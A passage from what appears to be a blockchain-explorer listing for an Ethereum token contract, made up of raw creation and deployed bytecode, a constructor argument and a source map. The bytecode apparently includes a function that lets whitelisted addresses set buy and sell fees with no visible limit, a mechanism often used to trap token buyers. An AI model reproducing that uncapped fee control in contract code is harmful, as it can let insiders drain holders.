040525081019061099a9190611435565b5050565b6109a6610d49565b6001600160a01b038116610a105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1981610da3565b50565b6001600160a01b03831615801590610a3c57506001600160a01b03821615155b610a7c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a07565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afd57506001600160a01b03821615155b610b415760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a07565b60008111610b9f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a07565b60055460ff61010082048116911610801590610bc55750600e54600160a01b900460ff16155b8015610bdf5750600e546001600160a01b03848116911614155b8015610bf45750600e54600160a81b900460ff165b15610c24576005805460ff19169055306000908152600c60205260409020548015610c2257610c2281610df3565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6657506001600160a01b03831660009081526010602052604090205460ff165b80610cad5750601354600160a01b900460ff168015610c935750600e546001600160a01b03858116911614155b8015610cad5750600e546001600160a01b03848116911614155b15610cba57506000610cf8565b600e546001600160a01b0390811690851603610cdb57600754600655610cf8565b600e546001600160a01b0390811690841603610cf8576008546006555b610d0484848484610e38565b50505050565b60008184841115610d2e5760405162461bcd60e51b8152600401610a079190611268565b505050900390565b6000610d42828461146d565b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0f81610e9e565b6013544790610e27906001600160a01b031682610ff8565b5050600e805460ff60a01b19169055565b80610e4a57610e45611033565b610e77565b6005805460ff16906000610e5d83611480565b91906101000a81548160ff021916908360ff160217905550505b610e82848484611078565b80610d0457610d04600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed357610ed361149f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5091906113ea565b81600181518110610f6357610f6361149f565b6001600160a01b039283166020918202929092010152600d54610f899130911684610a1c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc29085906000908690309042906004016114b5565b600060405180830381600087803b158015610fdc57600080fd5b505af1158015610ff0573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b505050565b6006541580156110435750600754155b801561104f5750600854155b1561105657565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109f5760006110a3565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611137576001600160a01b0384166000908152600c60205260409020546110ea9083611224565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111199082610d36565b6001600160a01b0384166000908152600c6020526040902055610d04565b60008061114384611230565b6001600160a01b0388166000908152600c6020526040902054919350915061116b9085611224565b6001600160a01b038088166000908152600c6020526040808220939093559087168152205461119a9083610d36565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c69082610d36565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d428284611526565b60008060006064600654856112459190611539565b61124f9190611550565b9050600061125d8583611224565b959194509092505050565b600060208083528351808285015260005b8181101561129557858101830151858201604001528201611279565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1957600080fd5b600080604083850312156112de57600080fd5b82356112e9816112b6565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b8335611317816112b6565b92506020840135611327816112b6565b929592945050506040919091013590565b6000806040838503121561134b57600080fd5b50508035926020909101359150565b60006020828403121561136c57600080fd5b8135610d42816112b6565b6000806040838503121561138a57600080fd5b8235611395816112b6565b915060208301356113a5816112b6565b809150509250929050565b600181811c908216806113c457607f821691505b6020821081036113e457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156113fc57600080fd5b8151610d42816112b6565b60008060006060848603121561141c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144757600080fd5b81518015158114610d4257600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561054c5761054c611457565b600060ff821660ff810361149657611496611457565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054c5761054c611457565b808202811582820484141761054c5761054c611457565b60008261156d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b853829cb3b0933da88b545619553c8e11a23aad87ef8c8f288157c09a579dcf64736f6c63430008110033000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611268565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112cb565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112f7565b610552565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112cb565b6105bb565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e610339366004611338565b6105f1565b005b34801561034c57600080fd5b5061022061035b36600461135a565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061d565b34801561039757600080fd5b506101a66103a636600461135a565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610631565b3480156103fa57600080fd5b506101a66104093660046112cb565b610640565b34801561041a57600080fd5b506101a66104293660046112cb565b61068f565b34801561043a57600080fd5b5061033e61069c565b34801561044f57600080fd5b5061022061045e366004611377565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a436600461135a565b61099e565b6060600180546104b8906113b0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b0565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1c565b5060015b92915050565b600061055f848484610add565b6105b184336105ac85604051806060016040528060288152602001611573602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d0a565b610a1c565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ac9086610d36565b3360009081526010602052604090205460ff16151560011461061257600080fd5b600791909155600855565b610625610d49565b61062f6000610da3565b565b6060600280546104b8906113b0565b600061054833846105ac8560405180606001604052806025815260200161159b60259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d0a565b6000610548338484610add565b6106a4610d49565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f91906113ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906113ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906113ea565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108499290610a1c565b600d546001600160a01b031663f305d719473061087b816001600160a01b03166000908152600c602052604090205490565b6000806108906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611407565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190611435565b5050565b6109a6610d49565b6001600160a01b038116610a105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1981610da3565b50565b6001600160a01b03831615801590610a3c57506001600160a01b03821615155b610a7c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a07565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afd57506001600160a01b03821615155b610b415760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a07565b60008111610b9f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a07565b60055460ff61010082048116911610801590610bc55750600e54600160a01b900460ff16155b8015610bdf5750600e546001600160a01b03848116911614155b8015610bf45750600e54600160a81b900460ff165b15610c24576005805460ff19169055306000908152600c60205260409020548015610c2257610c2281610df3565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6657506001600160a01b03831660009081526010602052604090205460ff165b80610cad5750601354600160a01b900460ff168015610c935750600e546001600160a01b03858116911614155b8015610cad5750600e546001600160a01b03848116911614155b15610cba57506000610cf8565b600e546001600160a01b0390811690851603610cdb57600754600655610cf8565b600e546001600160a01b0390811690841603610cf8576008546006555b610d0484848484610e38565b50505050565b60008184841115610d2e5760405162461bcd60e51b8152600401610a079190611268565b505050900390565b6000610d42828461146d565b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0f81610e9e565b6013544790610e27906001600160a01b031682610ff8565b5050600e805460ff60a01b19169055565b80610e4a57610e45611033565b610e77565b6005805460ff16906000610e5d83611480565b91906101000a81548160ff021916908360ff160217905550505b610e82848484611078565b80610d0457610d04600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed357610ed361149f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5091906113ea565b81600181518110610f6357610f6361149f565b6001600160a01b039283166020918202929092010152600d54610f899130911684610a1c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc29085906000908690309042906004016114b5565b600060405180830381600087803b158015610fdc57600080fd5b505af1158015610ff0573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b505050565b6006541580156110435750600754155b801561104f5750600854155b1561105657565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109f5760006110a3565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611137576001600160a01b0384166000908152600c60205260409020546110ea9083611224565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111199082610d36565b6001600160a01b0384166000908152600c6020526040902055610d04565b60008061114384611230565b6001600160a01b0388166000908152600c6020526040902054919350915061116b9085611224565b6001600160a01b038088166000908152600c6020526040808220939093559087168152205461119a9083610d36565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c69082610d36565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d428284611526565b60008060006064600654856112459190611539565b61124f9190611550565b9050600061125d8583611224565b959194509092505050565b600060208083528351808285015260005b8181101561129557858101830151858201604001528201611279565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1957600080fd5b600080604083850312156112de57600080fd5b82356112e9816112b6565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b8335611317816112b6565b92506020840135611327816112b6565b929592945050506040919091013590565b6000806040838503121561134b57600080fd5b50508035926020909101359150565b60006020828403121561136c57600080fd5b8135610d42816112b6565b6000806040838503121561138a57600080fd5b8235611395816112b6565b915060208301356113a5816112b6565b809150509250929050565b600181811c908216806113c457607f821691505b6020821081036113e457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156113fc57600080fd5b8151610d42816112b6565b60008060006060848603121561141c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144757600080fd5b81518015158114610d4257600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561054c5761054c611457565b600060ff821660ff810361149657611496611457565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054c5761054c611457565b808202811582820484141761054c5761054c611457565b60008261156d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b853829cb3b0933da88b545619553c8e11a23aad87ef8c8f288157c09a579dcf64736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
-----Decoded View---------------
Arg [0] : _supplyAmount (uint256): 10000000000000000000000000000000000000000000
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
Deployed Bytecode Sourcemap
14341:8687:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16373:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17084:161;;;;;;;;;;-1:-1:-1;17084:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17084:161:0;1023:187:1;18249:34:0;;;;;;;;;;-1:-1:-1;18249:34:0;;;;-1:-1:-1;;;18249:34:0;;;;;;15025:41;;;;;;;;;;-1:-1:-1;15025:41:0;;;;-1:-1:-1;;;;;15025:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15025:41:0;1215:230:1;16650:100:0;;;;;;;;;;-1:-1:-1;16730:12:0;;16650:100;;;1596:25:1;;;1584:2;1569:18;16650:100:0;1450:177:1;14748:26:0;;;;;;;;;;;;;;;;15108:28;;;;;;;;;;-1:-1:-1;15108:28:0;;;;-1:-1:-1;;;15108:28:0;;;;;;17253:313;;;;;;;;;;-1:-1:-1;17253:313:0;;;;;:::i;:::-;;:::i;16559:83::-;;;;;;;;;;-1:-1:-1;16625:9:0;;16559:83;;16625:9;;;;2235:36:1;;2223:2;2208:18;16559:83:0;2093:184:1;17574:218:0;;;;;;;;;;-1:-1:-1;17574:218:0;;;;;:::i;:::-;;:::i;14781:27::-;;;;;;;;;;;;;;;;15073:28;;;;;;;;;;-1:-1:-1;15073:28:0;;;;-1:-1:-1;;;;;15073:28:0;;;15143:40;;;;;;;;;;-1:-1:-1;15143:40:0;;;;-1:-1:-1;;;15143:40:0;;;;;;22851:172;;;;;;;;;;-1:-1:-1;22851:172:0;;;;;:::i;:::-;;:::i;:::-;;18077:121;;;;;;;;;;-1:-1:-1;18077:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;18170:20:0;18143:7;18170:20;;;:11;:20;;;;;;;18077:121;5991:103;;;;;;;;;;;;;:::i;15268:51::-;;;;;;;;;;-1:-1:-1;15268:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5756:87;;;;;;;;;;-1:-1:-1;5802:7:0;5829:6;-1:-1:-1;;;;;5829:6:0;5756:87;;16464;;;;;;;;;;;;;:::i;17800:269::-;;;;;;;;;;-1:-1:-1;17800:269:0;;;;;:::i;:::-;;:::i;16758:167::-;;;;;;;;;;-1:-1:-1;16758:167:0;;;;;:::i;:::-;;:::i;22218:625::-;;;;;;;;;;;;;:::i;16933:143::-;;;;;;;;;;-1:-1:-1;16933:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17041:18:0;;;17014:7;17041:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16933:143;6102:201;;;;;;;;;;-1:-1:-1;6102:201:0;;;;;:::i;:::-;;:::i;16373:83::-;16410:13;16443:5;16436:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16373:83;:::o;17084:161::-;17159:4;17176:39;5281:10;17199:7;17208:6;17176:8;:39::i;:::-;-1:-1:-1;17233:4:0;17084:161;;;;;:::o;17253:313::-;17351:4;17368:36;17378:6;17386:9;17397:6;17368:9;:36::i;:::-;17415:121;17424:6;5281:10;17446:89;17484:6;17446:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17446:19:0;;;;;;:11;:19;;;;;;;;5281:10;17446:33;;;;;;;;;;:37;:89::i;:::-;17415:8;:121::i;:::-;-1:-1:-1;17554:4:0;17253:313;;;;;:::o;17574:218::-;5281:10;17662:4;17711:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17711:34:0;;;;;;;;;;17662:4;;17679:83;;17702:7;;17711:50;;17750:10;17711:38;:50::i;22851:172::-;5281:10;22924:32;;;;:18;:32;;;;;;;;:38;;:32;:38;22916:47;;;;;;22974:7;:14;;;;22999:8;:16;22851:172::o;5991:103::-;5715:13;:11;:13::i;:::-;6056:30:::1;6083:1;6056:18;:30::i;:::-;5991:103::o:0;16464:87::-;16503:13;16536:7;16529:14;;;;;:::i;17800:269::-;17893:4;17910:129;5281:10;17933:7;17942:96;17981:15;17942:96;;;;;;;;;;;;;;;;;5281:10;17942:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17942:34:0;;;;;;;;;;;;:38;:96::i;16758:167::-;16836:4;16853:42;5281:10;16877:9;16888:6;16853:9;:42::i;22218:625::-;5715:13;:11;:13::i;:::-;22271:32:::1;22325:42;22271:97;;22413:13;-1:-1:-1::0;;;;;22413:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22395:53:0::1;;22457:4;22464:13;-1:-1:-1::0;;;;;22464:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22395:90;::::0;-1:-1:-1;;;;;;22395:90:0::1;::::0;;;;;;-1:-1:-1;;;;;4259:15:1;;;22395:90:0::1;::::0;::::1;4241:34:1::0;4311:15;;4291:18;;;4284:43;4176:18;;22395:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22379:13;:106:::0;;-1:-1:-1;;;;;;22379:106:0;;::::1;-1:-1:-1::0;;;;;22379:106:0;;::::1;;::::0;;;22496:15:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;22555:4:::1;-1:-1:-1::0;18170:20:0;;;:11;:20;;;;;;22538:75:::1;::::0;22496:31;17415:8;:121::i;22538:75::-:1;22624:15;::::0;-1:-1:-1;;;;;22624:15:0::1;:31;22663:21;22694:4;22700:24;22694:4:::0;-1:-1:-1;;;;;18170:20:0;18143:7;18170:20;;;:11;:20;;;;;;;18077:121;22700:24:::1;22725:1;22727::::0;22729:7:::1;5802::::0;5829:6;-1:-1:-1;;;;;5829:6:0;;5756:87;22729:7:::1;22624:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22624:129:0;;;-1:-1:-1;;;;;4697:15:1;;;22624:129:0::1;::::0;::::1;4679:34:1::0;4729:18;;;4722:34;;;;4772:18;;;4765:34;;;;4815:18;;;4808:34;4879:15;;;4858:19;;;4851:44;22737:15:0::1;4911:19:1::0;;;4904:35;4613:19;;22624:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;22771:13:0::1;::::0;22802:15:::1;::::0;22764:71:::1;::::0;-1:-1:-1;;;22764:71:0;;-1:-1:-1;;;;;22802:15:0;;::::1;22764:71;::::0;::::1;5435:51:1::0;-1:-1:-1;;5502:18:1;;;5495:34;22771:13:0;::::1;::::0;-1:-1:-1;22764:29:0::1;::::0;5408:18:1;;22764:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22260:583;22218:625::o:0;6102:201::-;5715:13;:11;:13::i;:::-;-1:-1:-1;;;;;6191:22:0;::::1;6183:73;;;::::0;-1:-1:-1;;;6183:73:0;;6024:2:1;6183:73:0::1;::::0;::::1;6006:21:1::0;6063:2;6043:18;;;6036:30;6102:34;6082:18;;;6075:62;-1:-1:-1;;;6153:18:1;;;6146:36;6199:19;;6183:73:0::1;;;;;;;;;6267:28;6286:8;6267:18;:28::i;:::-;6102:201:::0;:::o;18752:266::-;-1:-1:-1;;;;;18847:19:0;;;;;;:44;;-1:-1:-1;;;;;;18870:21:0;;;;18847:44;18839:74;;;;-1:-1:-1;;;18839:74:0;;6431:2:1;18839:74:0;;;6413:21:1;6470:2;6450:18;;;6443:30;-1:-1:-1;;;6489:18:1;;;6482:47;6546:18;;18839:74:0;6229:341:1;18839:74:0;-1:-1:-1;;;;;18924:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18976:32;;1596:25:1;;;18976:32:0;;1569:18:1;18976:32:0;;;;;;;18752:266;;;:::o;19026:1041::-;-1:-1:-1;;;;;19150:18:0;;;;;;:38;;-1:-1:-1;;;;;;19172:16:0;;;;19150:38;19142:72;;;;-1:-1:-1;;;19142:72:0;;6777:2:1;19142:72:0;;;6759:21:1;6816:2;6796:18;;;6789:30;-1:-1:-1;;;6835:18:1;;;6828:51;6896:18;;19142:72:0;6575:345:1;19142:72:0;19242:1;19233:6;:10;19225:60;;;;-1:-1:-1;;;19225:60:0;;7127:2:1;19225:60:0;;;7109:21:1;7166:2;7146:18;;;7139:30;7205:34;7185:18;;;7178:62;-1:-1:-1;;;7256:18:1;;;7249:35;7301:19;;19225:60:0;6925:401:1;19225:60:0;19326:11;;;;;;;;19315:7;;:22;;;;:57;;-1:-1:-1;19356:16:0;;-1:-1:-1;;;19356:16:0;;;;19355:17;19315:57;:95;;;;-1:-1:-1;19397:13:0;;-1:-1:-1;;;;;19389:21:0;;;19397:13;;19389:21;;19315:95;:133;;;;-1:-1:-1;19427:21:0;;-1:-1:-1;;;19427:21:0;;;;19315:133;19298:393;;;19493:7;:11;;-1:-1:-1;;19493:11:0;;;19568:4;-1:-1:-1;18170:20:0;;;:11;:20;;;;;;19592:24;;19589:91;;19632:36;19647:20;19632:14;:36::i;:::-;19474:217;19298:393;-1:-1:-1;;;;;19740:24:0;;19705:12;19740:24;;;:18;:24;;;;;;19720:4;;19740:24;;;:50;;-1:-1:-1;;;;;;19768:22:0;;;;;;:18;:22;;;;;;;;19740:50;:119;;;-1:-1:-1;19795:15:0;;-1:-1:-1;;;19795:15:0;;;;:40;;;;-1:-1:-1;19822:13:0;;-1:-1:-1;;;;;19814:21:0;;;19822:13;;19814:21;;19795:40;:63;;;;-1:-1:-1;19845:13:0;;-1:-1:-1;;;;;19839:19:0;;;19845:13;;19839:19;;19795:63;19737:272;;;-1:-1:-1;19885:5:0;19737:272;;;19920:13;;-1:-1:-1;;;;;19920:13:0;;;19912:21;;;;19908:101;;19947:7;;19935:9;:19;19908:101;;;19972:13;;-1:-1:-1;;;;;19972:13:0;;;19966:19;;;;19962:47;;19999:8;;19987:9;:20;19962:47;20021:38;20036:4;20041:2;20044:6;20051:7;20021:14;:38::i;:::-;19129:938;19026:1041;;;:::o;3984:206::-;4070:7;4131:12;4123:6;;;;4115:29;;;;-1:-1:-1;;;4115:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4166:5:0;;;3984:206::o;3560:98::-;3618:7;3645:5;3649:1;3645;:5;:::i;:::-;3638:12;3560:98;-1:-1:-1;;;3560:98:0:o;5851:132::-;5802:7;5829:6;-1:-1:-1;;;;;5829:6:0;5281:10;5915:23;5907:68;;;;-1:-1:-1;;;5907:68:0;;7795:2:1;5907:68:0;;;7777:21:1;;;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;7925:18;;5907:68:0;7593:356:1;6311:191:0;6385:16;6404:6;;-1:-1:-1;;;;;6421:17:0;;;-1:-1:-1;;;;;;6421:17:0;;;;;;6454:40;;6404:6;;;;;;;6454:40;;6385:16;6454:40;6374:128;6311:191;:::o;20432:229::-;15735:16;:23;;-1:-1:-1;;;;15735:23:0;-1:-1:-1;;;15735:23:0;;;20516:37:::1;20532:20:::0;20516:15:::1;:37::i;:::-;20625:16;::::0;20585:21:::1;::::0;20617:36:::1;::::0;-1:-1:-1;;;;;20625:16:0::1;20585:21:::0;20617:7:::1;:36::i;:::-;-1:-1:-1::0;;15781:16:0;:24;;-1:-1:-1;;;;15781:24:0;;;20432:229::o;21156:332::-;21271:7;21267:107;;21294:14;:12;:14::i;:::-;21267:107;;;21349:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21267:107;21388:41;21403:6;21411:9;21422:6;21388:14;:41::i;:::-;21446:7;21442:38;;21468:12;18649:17;;18637:9;:29;18683:15;;18673:7;:25;18717:16;;18706:8;:27;18598:146;20673:473;20764:16;;;20778:1;20764:16;;;;;;;;20740:21;;20764:16;;;;;;;;;;-1:-1:-1;20764:16:0;20740:40;;20809:4;20791;20796:1;20791:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20791:23:0;;;:7;;;;;;;;;;:23;;;;20835:15;;:22;;;-1:-1:-1;;;20835:22:0;;;;:15;;;;;:20;;:22;;;;;20791:7;;20835:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20825:4;20830:1;20825:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20825:32:0;;;:7;;;;;;;;;:32;20900:15;;20868:62;;20885:4;;20900:15;20918:11;20868:8;:62::i;:::-;20941:15;;:197;;-1:-1:-1;;;20941:197:0;;-1:-1:-1;;;;;20941:15:0;;;;:66;;:197;;21022:11;;20941:15;;21065:4;;21092;;21112:15;;20941:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20727:419;20673:473;:::o;20075:115::-;20155:23;;-1:-1:-1;;;;;20155:15:0;;;:23;;;;;20171:6;;20155:23;;;;20171:6;20155:15;:23;;;;;;;;;;;;;;;;;;;;;20075:115;;:::o;18294:296::-;18340:9;;:14;:30;;;;-1:-1:-1;18358:7:0;;:12;18340:30;:47;;;;-1:-1:-1;18374:8:0;;:13;18340:47;18337:59;;;18294:296::o;18337:59::-;18424:7;;;18406:15;:25;18462:8;;;18443:16;:27;18502:9;;;18482:17;:29;-1:-1:-1;18522:11:0;;;;18544:12;;;;18567:13;18294:296::o;214